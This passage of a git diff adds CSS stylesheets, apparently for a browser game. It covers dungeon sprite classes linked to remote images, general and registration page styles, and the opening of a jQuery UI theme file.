http://img.combats.ru/i/sprites/sun/Left/4_0.gif ) } +.Dungeon .RightSide4_0 { background: url( http://img.combats.ru/i/sprites/sun/Right/4_0.gif ) } +.Dungeon .LeftFront3_2 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/4_2.gif ) } +.Dungeon .RightFront3_2 { background: url( http://img.combats.ru/i/sprites/sun/Right/Front/4_2.gif ) } +.Dungeon .LeftFront3_1 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/4_1.gif ) } +.Dungeon .RightFront3_1 { background: url( http://img.combats.ru/i/sprites/sun/Right/Front/4_1.gif ) } +.Dungeon .LeftFront3_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/4_0.gif ) } +.Dungeon .LeftSide3_1 { background: url( http://img.combats.ru/i/sprites/sun/Left/3_1.gif ) } +.Dungeon .RightSide3_1 { background: url( http://img.combats.ru/i/sprites/sun/Right/3_1.gif ) } +.Dungeon .LeftSide3_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/3_0.gif ) } +.Dungeon .RightSide3_0 { background: url( http://img.combats.ru/i/sprites/sun/Right/3_0.gif ) } +.Dungeon .LeftFront2_1 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/3_1.gif ) } +.Dungeon .RightFront2_1 { background: url( http://img.combats.ru/i/sprites/sun/Right/Front/3_1.gif ) } +.Dungeon .LeftFront2_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/3_0.gif ) } +.Dungeon .LeftSide2_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/2_0.gif ) } +.Dungeon .RightSide2_0 { background: url( http://img.combats.ru/i/sprites/sun/Right/2_0.gif ) } +.Dungeon .LeftFront1_1 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/2_1.gif ) } +.Dungeon .RightFront1_1 { background: url( http://img.combats.ru/i/sprites/sun/Right/Front/2_1.gif ) } +.Dungeon .LeftFront1_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/2_0.gif ) } +.Dungeon .LeftSide1_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/1_0.gif ) } +.Dungeon .RightSide1_0 { background: url( http://img.combats.ru/i/sprites/sun/Right/1_0.gif ) } +.Dungeon .LeftFront0_1 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/1_1.gif ) } +.Dungeon .RightFront0_1 { background: url( http://img.combats.ru/i/sprites/sun/Right/Front/1_1.gif ) } +.Dungeon .LeftFront0_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/Front/1_0.gif ) } +.Dungeon .LeftSide0_0 { background: url( http://img.combats.ru/i/sprites/sun/Left/0_0.gif ) } +.Dungeon .RightSide0_0 { background: url( http://img.combats.ru/i/sprites/sun/Right/0_0.gif ) } \ No newline at end of file diff --git a/css/2/dungeon_uq.css b/css/2/dungeon_uq.css new file mode 100644 index 0000000..557ffc5 --- /dev/null +++ b/css/2/dungeon_uq.css @@ -0,0 +1,57 @@ +DIV.Dungeon{ + width: 372px; + height: 260px; + padding: 10px; + position: relative; + overflow: hidden; + background: black; +} +.Dungeon BUTTON { + border: 0px solid; + background: transparent; + padding: 0px; + margin: 0px; + position: absolute; + filter: Alpha(opacity=100),Chroma( Color=#c1cacf ); +} + +.Dungeon DIV { + width: 352px; + height: 240px; + overflow: hidden; + position: relative; +} + +DIV.Life{position:absolute;background:#008000;height:2px;} +DIV.Life2{position:absolute;background:#00FF00;height:2px;} +.Dungeon .Floor0{ background: url( http://img.combats.ru/i/sprites/ug/bg0.gif ) black } +.Dungeon .Floor1{ background: url( http://img.combats.ru/i/sprites/ug/bg1.gif ) black } + +.Dungeon .LeftSide4_1 { background: url( http://img.combats.ru/i/sprites/ug/Left/4_1.gif ) } +.Dungeon .RightSide4_1 { background: url( http://img.combats.ru/i/sprites/ug/Right/4_1.gif ) } +.Dungeon .LeftSide4_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/4_0.gif ) } +.Dungeon .RightSide4_0 { background: url( http://img.combats.ru/i/sprites/ug/Right/4_0.gif ) } +.Dungeon .LeftFront3_2 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/4_2.gif ) } +.Dungeon .RightFront3_2 { background: url( http://img.combats.ru/i/sprites/ug/Right/Front/4_2.gif ) } +.Dungeon .LeftFront3_1 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/4_1.gif ) } +.Dungeon .RightFront3_1 { background: url( http://img.combats.ru/i/sprites/ug/Right/Front/4_1.gif ) } +.Dungeon .LeftFront3_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/4_0.gif ) } +.Dungeon .LeftSide3_1 { background: url( http://img.combats.ru/i/sprites/ug/Left/3_1.gif ) } +.Dungeon .RightSide3_1 { background: url( http://img.combats.ru/i/sprites/ug/Right/3_1.gif ) } +.Dungeon .LeftSide3_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/3_0.gif ) } +.Dungeon .RightSide3_0 { background: url( http://img.combats.ru/i/sprites/ug/Right/3_0.gif ) } +.Dungeon .LeftFront2_1 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/3_1.gif ) } +.Dungeon .RightFront2_1 { background: url( http://img.combats.ru/i/sprites/ug/Right/Front/3_1.gif ) } +.Dungeon .LeftFront2_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/3_0.gif ) } +.Dungeon .LeftSide2_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/2_0.gif ) } +.Dungeon .RightSide2_0 { background: url( http://img.combats.ru/i/sprites/ug/Right/2_0.gif ) } +.Dungeon .LeftFront1_1 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/2_1.gif ) } +.Dungeon .RightFront1_1 { background: url( http://img.combats.ru/i/sprites/ug/Right/Front/2_1.gif ) } +.Dungeon .LeftFront1_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/2_0.gif ) } +.Dungeon .LeftSide1_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/1_0.gif ) } +.Dungeon .RightSide1_0 { background: url( http://img.combats.ru/i/sprites/ug/Right/1_0.gif ) } +.Dungeon .LeftFront0_1 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/1_1.gif ) } +.Dungeon .RightFront0_1 { background: url( http://img.combats.ru/i/sprites/ug/Right/Front/1_1.gif ) } +.Dungeon .LeftFront0_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/Front/1_0.gif ) } +.Dungeon .LeftSide0_0 { background: url( http://img.combats.ru/i/sprites/ug/Left/0_0.gif ) } +.Dungeon .RightSide0_0 { background: url( http://img.combats.ru/i/sprites/ug/Right/0_0.gif ) } \ No newline at end of file diff --git a/css/2/main.css b/css/2/main.css new file mode 100644 index 0000000..edd6a9f --- /dev/null +++ b/css/2/main.css @@ -0,0 +1,6 @@ +body, td, ol, ul, li , p { font-size: 10pt; font-family:Verdana, Arial, Helvetica, Tahoma;}body { }.seehp { color: #F4F4F4; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px; padding-left:3px;}.senohp{ line-height: 7px; font-size: 9px;}.hp_none { background: url('../i/hp.jpg') 0px 0px repeat-x;}.hp_1 { background: url('../i/hp.jpg') 0px -11px repeat-x;}.hp_2 { background: url('../i/hp.jpg') 0px -21px repeat-x;}.hp_3 { background: url('../i/hp.jpg') 0px -31px repeat-x;}.hp_mp { background: url('../i/hp.jpg') 0px -41px repeat-x;}.seemp { color: #00FFFF; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px; padding-left:3px;}.hpborder { border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #DADADA;}.text { font-size: 10pt; color: #000000; font-family:Verdana, Arial, Helvetica, Tahoma;}H3 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 12pt; FONT-WEIGHT: bold; TEXT-ALIGN: center;}H4 { COLOR: #8f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 5px;}H5 { COLOR: #4f0000; FONT-FAMILY: Arial; FONT-SIZE: 11pt; FONT-WEIGHT: bold; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px;}a,a:visited { text-decoration: none; FONT-WEIGHT: bold; color: #003388; }a:active { color: #6F0000}a:hover { color: #0066FF}.date { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000}.date1 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #b00000;}.date2 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000; background-color: #00FFAA}.date22 { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #007000; background-color: #00FFAA}.date3 { font-family: Courier; font-size: 8pt; text-decoration:underline; font-weight:normal; color: #007000; background-color: #00FFAA}.priem_hint{ position:absolute; background-color:#ffffcc; padding:2px; padding-left:4px; padding-right:4px; border:1px #666666 solid; z-index:1000;}.greaytext { color:grey; cursor:default; font-weight: bold; font-size: 10px; text-decoration: none;}.sysdate { font-family: Courier; font-size: 8pt; text-decoration:none; font-weight:normal; color: #B00000}.private { font-weight:bold; color: red; background-color: #FAE0E0}.klan { font-weight:bold; color: green; background-color: #99FFCC;}.number { font-size: 11pt; font-weight: bold; color: #6F0000}.dsc { color: #606060; font-weight:normal; }select,textarea,input { border: solid 1pt #B0B0B0; font-family: MS Sans Serif; font-size: 10px; color: #191970; MARGIN-BOTTOM: 2px; MARGIN-TOP: 1px;}.ahint {font-family: MS Sans Serif; font-size:8px; text-decoration:none; color:#666666;z-index: 99;}#hint2 {position:absolute; width:140; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden}#hint3 {position:absolute; width:240; background-color:#FFF6DD; layer-background-color:#FFF6DD; visibility:hidden}.hint { position:absolute; background-color:#ffffcc; padding:5px;}.hpborder { border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #DADADA;}#hint4 {position:absolute; width:240; visibility:hidden}.B1 { font-weight: bold; color: #6666CC}.B2 { font-weight: bold; color: #B06A00}.B3 { font-weight: bold; color: #269088}.B4 { font-weight: bold; color: #A0AF20}.B5 { font-weight: bold; color: #0F79D3}.B6 { font-weight: bold; color: #D85E23}.B7 { font-weight: bold; color: #5C832F}.B8 { font-weight: bold; color: #842B61}.B9 { font-weight: bold; color: navy}.Bs1 { font-size: 8pt; font-weight:bold; color: #6666CC}.Bs2 { font-weight:bold; color: #B06A00}img,table {border:0}.ismagic {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic1.gif)}.glow_pink {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_pink.gif)}.glow_red {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_red.gif)}.glow_green {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_green.gif)}.glow_yellow {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_yellow.gif)}.glow_dark {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_dark.gif)}.glow_blue {background-color: #E0E0E2; BACKGROUND-IMAGE:url(blinkmagic_blue.gif)}.hpStyle1 { color: #F4F4F4; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px;}.mpStyle1 { color: #00FFFF; line-height: 7px; font-size: 9px; font-weight: bold; padding-top: 1px; margin-left: 3px;}.ahint { FONT-SIZE: 8px; COLOR: #000080; FONT-FAMILY: MS Sans Serif; TEXT-DECORATION: none}#hint2 { VISIBILITY: hidden; WIDTH: 140px; POSITION: absolute; BACKGROUND-COLOR: #fff6dd; layer-background-color: #FFF6DD}#hint3 { VISIBILITY: hidden; WIDTH: 240px; POSITION: absolute; BACKGROUND-COLOR: #fff6dd; layer-background-color: #FFF6DD}.genwnew { background-color: #EBEBEB; border: 1px solid #C1C1C1;}.priem_style {margin:0px;width:40px;height:25px;}.priem_styleHover {margin:1px;width:38px;height:23px;}.priem_style2 {cursor:pointer;margin:0px;width:40px;height:25px;}.priem_styleHover2 {cursor:pointer;margin:1px;width:38px;height:23px;}.menutop, a.menutop:visited, a.menutop:active { font-weight: bold; font-size: 10px; text-decoration: none; color: #3B3936;} +.btn { cursor:pointer; border: 1px double #9a9996; font-size: 12px; color: #dfdfdf; background-color:#504F4C;} +.btn:hover { + color: #CECECE; + background-color:#393937; +}.yesbtn { border: 1px solid #b0b0b0; background-color: #ece9d8; width:70px; padding-bottom:2px; padding-top:2px; color: #333333; text-decoration: none; font-size: 13px;}img { border:0px;}.iframeMain { width:inherit; height:inherit;}.windowsmf_css1 { position:absolute; background-color:#ddd5bf; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #D8D8D8 1px; FONT-SIZE: 10pt; font-family:Verdana, Arial, Helvetica, Tahoma;}.windowsmf_css1_active2 { position:absolute; background-color:#F9F9F9; -moz-user-select: none; -khtml-user-select: none; user-select: none; border:solid #FDFDFD 1px;}.inpt1 { font-size: 8pt; border: 1px solid #CDC698;}.windowsmf_css1_title { background-color:#b1a993; color:#000000; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; FONT-SIZE: 10pt; font-family:Verdana, Arial, Helvetica, Tahoma;}.usermenu { z-index:900; position: absolute; LEFT: 0px; TOP: 0px; background-color:#E5E5E5; border: 1px ridge #CCCCCC;}.usermenu1 { background-color:#E5E5E5; cursor:pointer; padding-left:3px; padding-right:3px; padding-top:1px; padding-bottom:1px;}.usermenu1:hover { background-color:#CECECE;}.windowsmf_css1_title_active { background-color:#C9C4B4; color:#1A1A1A; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px; cursor:move;}.windowsmf_css1_title_active2 { background-color:#D7D3C8; color:#333333; padding-top:2px; padding-left:3px; padding-right:3px; padding-bottom:2px;}.windowsmf_css1_main_active2 { background-color:#FDFDFD; color:#FDFDFD; padding:10px;}.windowsmf_css1_main { padding:10px;}.btn_grey { border-top-width: 1px; background-color: #e5e5e5; background-image:url(line1.jpg); border-top-style: solid; border-top-color: #EFEFEF; padding-top:2px; padding-bottom:2px; padding-left:7px; padding-right:7px; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #D8D8D8; color: #494949; -moz-user-select: none; -khtml-user-select: none; user-select: none; text-decoration: none;}.btn_grey:hover { background-image:url(line2.jpg); color: #333333;}.btn_grey:active { background-color: #e5e5e5; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #EFEFEF; border-right-width: 1px; border-left-width: 1px; border-right-style: solid; border-left-style: solid; border-right-color: #D8D8D8; border-left-color: #D8D8D8; border-top-width: 1px; border-top-style: solid; border-top-color: #D8D8D8;} .mainframe { width:inherit; height:inherit;}.message { font-size: 10pt; font-family:Verdana, Arial, Helvetica, Tahoma;} \ No newline at end of file diff --git a/css/2/reg.css b/css/2/reg.css new file mode 100644 index 0000000..2982519 --- /dev/null +++ b/css/2/reg.css @@ -0,0 +1 @@ +BODY { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif}TD { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif}OL { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif}UL { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif}LI { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif}P { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif}.inup { BORDER-RIGHT: #302F2A 1px double; BORDER-TOP: #302F2A 1px double; FONT-SIZE: 8pt; BORDER-LEFT: #302F2A 1px double; COLOR: #000000; BORDER-BOTTOM: #302F2A 1px double; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; BACKGROUND-COLOR: #DED7BD}.text { FONT-WEIGHT: normal; FONT-SIZE: 10pt; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, Tahoma, sans-serif}H3 { FONT-WEIGHT: bold; FONT-SIZE: 12pt; COLOR: #8f0000; FONT-FAMILY: Arial; TEXT-ALIGN: center}H4 { FONT-WEIGHT: bold; FONT-SIZE: 11pt; MARGIN-BOTTOM: 5px; COLOR: #8f0000; FONT-FAMILY: Arial}A:link { FONT-WEIGHT: normal; COLOR: #524936; TEXT-DECORATION: none}A:visited { FONT-WEIGHT: normal; COLOR: #633525; TEXT-DECORATION: none}A:active { FONT-WEIGHT: normal; COLOR: #77684d; TEXT-DECORATION: none}A:hover { COLOR: #68727B; TEXT-DECORATION: underline}.date { FONT-WEIGHT: normal; FONT-SIZE: 8pt; COLOR: #007000; FONT-FAMILY: Courier; TEXT-DECORATION: none}.dsc { FONT-WEIGHT: normal; COLOR: #606060}SELECT { BORDER-RIGHT: #b0b0b0 1pt solid; BORDER-TOP: #b0b0b0 1pt solid; MARGIN-TOP: 1px; FONT-SIZE: 10px; MARGIN-BOTTOM: 2px; BORDER-LEFT: #b0b0b0 1pt solid; COLOR: #191970; BORDER-BOTTOM: #b0b0b0 1pt solid; FONT-FAMILY: MS Sans Serif}TEXTAREA { BORDER-RIGHT: #b0b0b0 1pt solid; BORDER-TOP: #b0b0b0 1pt solid; MARGIN-TOP: 1px; FONT-SIZE: 10px; MARGIN-BOTTOM: 2px; BORDER-LEFT: #b0b0b0 1pt solid; COLOR: #191970; BORDER-BOTTOM: #b0b0b0 1pt solid; FONT-FAMILY: MS Sans Serif}INPUT { BORDER-RIGHT: #b0b0b0 1pt solid; BORDER-TOP: #b0b0b0 1pt solid; MARGIN-TOP: 1px; FONT-SIZE: 10px; MARGIN-BOTTOM: 2px; BORDER-LEFT: #b0b0b0 1pt solid; COLOR: #191970; BORDER-BOTTOM: #b0b0b0 1pt solid; FONT-FAMILY: MS Sans Serif}.pagetknum { PADDING-RIGHT: 3px; PADDING-LEFT: 3px; FONT-WEIGHT: bold; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; COLOR: #6f0000; PADDING-TOP: 0px; TEXT-DECORATION: underline}.pagenum A:link { PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px}.pagenum A:visited { PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px}.pagenum A:active { PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px}.pagenum A:hover { PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 0px; MARGIN: 0px; WIDTH: 1em; PADDING-TOP: 0px; BACKGROUND-COLOR: white}.phpeft { PADDING-RIGHT: 0px; PADDING-LEFT: 20px; PADDING-BOTTOM: 7px; MARGIN: 0px; PADDING-TOP: 3px}.pages { BACKGROUND-COLOR: #ffefbf}IMG { BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px}TABLE { BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: 0px}.btn { BORDER-RIGHT: #817a63 1px double; BORDER-TOP: #817a63 1px double; FONT-SIZE: 7.5pt; BORDER-LEFT: #817a63 1px double; COLOR: #dfddd3; BORDER-BOTTOM: #817a63 1px double; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; BACKGROUND-COLOR: #2b2b18} \ No newline at end of file diff --git a/css/bkstyle.css b/css/bkstyle.css new file mode 100644 index 0000000..7abe242 --- /dev/null +++ b/css/bkstyle.css @@ -0,0 +1,520 @@ +/*! jQuery UI - v1.9.0 - 2012-10-10 +* http://jqueryui.com +* Includes: jquery.ui.core.css, jquery.ui.resizable.css, jquery.ui.selectable.css, jquery.ui.accordion.css, jquery.ui.autocomplete.css, jquery.ui.button.css, jquery.ui.datepicker.css, jquery.ui.dialog.css, jquery.ui.menu.css, jquery.ui.progressbar.css, jquery.ui.slider.css, jquery.ui.spinner.css, jquery.ui.tabs.css, jquery.ui.tooltip.css +* To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=10pt&cornerRadius=0px&bgColorHeader=c7c7c7&bgTextureHeader=01_flat.png&bgImgOpacityHeader=100&borderColorHeader=a5a5a5&fcHeader=bf0000&iconColorHeader=000000&bgColorContent=e2e0e0&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=a5a5a5&fcContent=222222&iconColorContent=000000&bgColorDefault=e0dfe3&bgTextureDefault=01_flat.png&bgImgOpacityDefault=100&borderColorDefault=b0b0b0&fcDefault=003388&iconColorDefault=000000&bgColorHover=e0dfe3&bgTextureHover=01_flat.png&bgImgOpacityHover=100&borderColorHover=b0b0b0&fcHover=003388&iconColorHover=000000&bgColorActive=e0dfe3&bgTextureActive=01_flat.png&bgImgOpacityActive=100&borderColorActive=b0b0b0&fcActive=003388&iconColorActive=000000&bgColorHighlight=fff6dd&bgTextureHighlight=01_flat.png&bgImgOpacityHighlight=100&borderColorHighlight=b0b0b0&fcHighlight=000000&iconColorHighlight=000000&bgColorError=e2e0e0&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=0px +* Copyright (c) 2012 jQuery Foundation and other contributors Licensed MIT */ + +/* Layout helpers +----------------------------------*/ +.ui-helper-hidden { display: none; } +.ui-helper-hidden-accessible { position: absolute !important; clip: rect(1px 1px 1px 1px); clip: rect(1px,1px,1px,1px); } +.ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } +.ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; } +.ui-helper-clearfix:after { clear: both; } +.ui-helper-clearfix { zoom: 1; } +.ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); } + + +/* states and images */ +.ui-icon { width: 16px; height: 14px; background-image: url(/i/jquery-ui/ui-icons_000000_256x240.png); } +.ui-widget-content .ui-icon {background-image: url(/i/jquery-ui/ui-icons_000000_256x240.png); } +.ui-widget-header .ui-icon {background-image: url(/i/jquery-ui/ui-icons_000000_256x240.png); } +.ui-state-default .ui-icon { background-image: url(/i/jquery-ui/ui-icons_000000_256x240.png); } +.ui-state-hover .ui-icon, .ui-state-focus .ui-icon {background-image: url(/i/jquery-ui/ui-icons_000000_256x240.png); } +.ui-state-active .ui-icon {background-image: url(/i/jquery-ui/ui-icons_000000_256x240.png); } +.ui-state-highlight .ui-icon {background-image: url(/i/jquery-ui/ui-icons_000000_256x240.png); } +.ui-state-error .ui-icon, .ui-state-error-text .ui-icon {background-image: url(/i/jquery-ui/ui-icons_cd0a0a_256x240.png); } + +/* Component containers +----------------------------------*/ +.ui-widget { + font-family: Verdana,Arial,sans-serif; font-size: 10pt; +} +.ui-widget .ui-widget { + font-size: 1em; +} +.ui-widget input, +.ui-widget select, +.ui-widget textarea, +.ui-widget button { + border: solid 1px #b0b0b0; + margin-top: 1px; + margin-bottom: 2px; + font-size: 11px; + color: #191970; + +} +.ui-widget-content { border: 1px solid #a5a5a5; background: #e2e0e0 url(/i/jquery-ui/ui-bg_flat_100_e2e0e0_40x100.png) 50% 50% repeat-x; color: #222222; } +.ui-widget-content a { color: #003388; } +.ui-widget-header { border: 1px solid #a5a5a5; background: #c7c7c7 url(/i/jquery-ui/ui-bg_flat_100_c7c7c7_40x100.png) 50% 50% repeat-x; color: #bf0000; font-weight: bold; } +.ui-widget-header a { color: #bf0000; } + + +/* Interaction states +----------------------------------*/ +.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default { border: 1px solid #b0b0b0; background: #e0dfe3 url(/i/jquery-ui/ui-bg_flat_100_e0dfe3_40x100.png) 50% 50% repeat-x; font-weight: normal; color: #003388; } +.ui-state-default a, .ui-state-default a:link, .ui-state-default a:visited { color: #003388; text-decoration: none; } +.ui-state-hover, .ui-widget-content .ui-state-hover, .ui-widget-header .ui-state-hover, .ui-state-focus, .ui-widget-content .ui-state-focus, .ui-widget-header .ui-state-focus { border: 1px solid #b0b0b0; background: none; font-weight: normal; color: #003388; } +.ui-state-hover a, .ui-state-hover a:hover { color: #0066FF; text-decoration: none; } +.ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active { border: 1px solid #b0b0b0; background: #e0dfe3 url(/i/jquery-ui/ui-bg_flat_100_e0dfe3_40x100.png) 50% 50% repeat-x; font-weight: normal; color: #003388; } +.ui-state-active a, .ui-state-active a:link, .ui-state-active a:visited { color: #003388; text-decoration: none; } + +/* Interaction Cues +----------------------------------*/ +.ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight {border: 1px solid #b0b0b0; background: #fff6dd url(/i/jquery-ui/ui-bg_flat_100_fff6dd_40x100.png) 50% 50% repeat-x; color: #000000; } +.ui-state-highlight a, .ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a { color: #000000; } +.ui-state-error, .ui-widget-content .ui-state-error, .ui-widget-header .ui-state-error {border: 1px solid #cd0a0a; background: #e2e0e0 url(/i/jquery-ui/ui-bg_flat_100_e2e0e0_40x100.png) 50% 50% repeat-x; color: #cd0a0a; } +.ui-state-error a, .ui-widget-content .ui-state-error a, .ui-widget-header .ui-state-error a { color: #cd0a0a; } +.ui-state-error-text, .ui-widget-content .ui-state-error-text, .ui-widget-header .ui-state-error-text { color: #cd0a0a; } +.ui-priority-primary, .ui-widget-content .ui-priority-primary, .ui-widget-header .ui-priority-primary { font-weight: bold; } +.ui-priority-secondary, .ui-widget-content .ui-priority-secondary, .ui-widget-header .ui-priority-secondary { opacity: .7; filter:Alpha(Opacity=70); font-weight: normal; } +.ui-state-disabled, .ui-widget-content .ui-state-disabled, .ui-widget-header .ui-state-disabled { opacity: .35; filter:Alpha(Opacity=35); background-image: none; } + + +/* Interaction Cues +----------------------------------*/ +.ui-state-disabled { cursor: default !important; } + + +/* Icons +----------------------------------*/ + +/* states and images */ +.ui-icon { display: block; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } + + +/* Misc visuals +----------------------------------*/ + +/* Overlays */ +.ui-widget-overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } +.ui-resizable { position: relative;} +.ui-resizable-handle { position: absolute;font-size: 0.1px; display: block; } +.ui-resizable-disabled .ui-resizable-handle, .ui-resizable-autohide .ui-resizable-handle { display: none; } +.ui-resizable-n { cursor: n-resize; height: 7px; width: 100%; top: -5px; left: 0; } +.ui-resizable-s { cursor: s-resize; height: 7px; width: 100%; bottom: -5px; left: 0; } +.ui-resizable-e { cursor: e-resize; width: 7px; right: -5px; top: 0; height: 100%; } +.ui-resizable-w { cursor: w-resize; width: 7px; left: -5px; top: 0; height: 100%; } +.ui-resizable-se { cursor: se-resize; width: 12px; height: 12px; right: 1px; bottom: 1px; } +.ui-resizable-sw { cursor: sw-resize; width: 9px; height: 9px; left: -5px; bottom: -5px; } +.ui-resizable-nw { cursor: nw-resize; width: 9px; height: 9px; left: -5px; top: -5px; } +.ui-resizable-ne { cursor: ne-resize; width: 9px; height: 9px; right: -5px; top: -5px;}.ui-selectable-helper { position: absolute; z-index: 100; border:1px dotted black; } +.ui-accordion .ui-accordion-header { display: block; cursor: pointer; position: relative; margin-top: 2px; padding: .5em .5em .5em .7em; zoom: 1; } +.ui-accordion .ui-accordion-icons { padding-left: 2.2em; } +.ui-accordion .ui-accordion-noicons { padding-left: .7em; } +.ui-accordion .ui-accordion-icons .ui-accordion-icons { padding-left: 2.2em; } +.ui-accordion .ui-accordion-header .ui-accordion-header-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } +.ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; overflow: auto; zoom: 1; } +.ui-autocomplete { position: absolute; cursor: default; } + +/* workarounds */ +* html .ui-autocomplete { width:1px; } /* without this, the menu expands to 100% in IE6 */ +.ui-button { display: inline-block; position: relative; padding: 0; margin-right: .1em; cursor: pointer; text-align: center; zoom: 1; overflow: visible; } /* the overflow property removes extra width in IE */ +.ui-button, .ui-button:link, .ui-button:visited, .ui-button:hover, .ui-button:active { text-decoration: none; } +.ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ +button.ui-button-icon-only { width: 2.4em; } /* button elements seem to need a little more width */ +.ui-button-icons-only { width: 3.4em; } +button.ui-button-icons-only { width: 3.7em; } + +/*button text element */ +.ui-button .ui-button-text { display: block; line-height: 1.4; } +.ui-button-text-only .ui-button-text { padding: 0 1em; } +.ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; } +.ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } +.ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } +.ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } +/* no icon support for input elements, provide 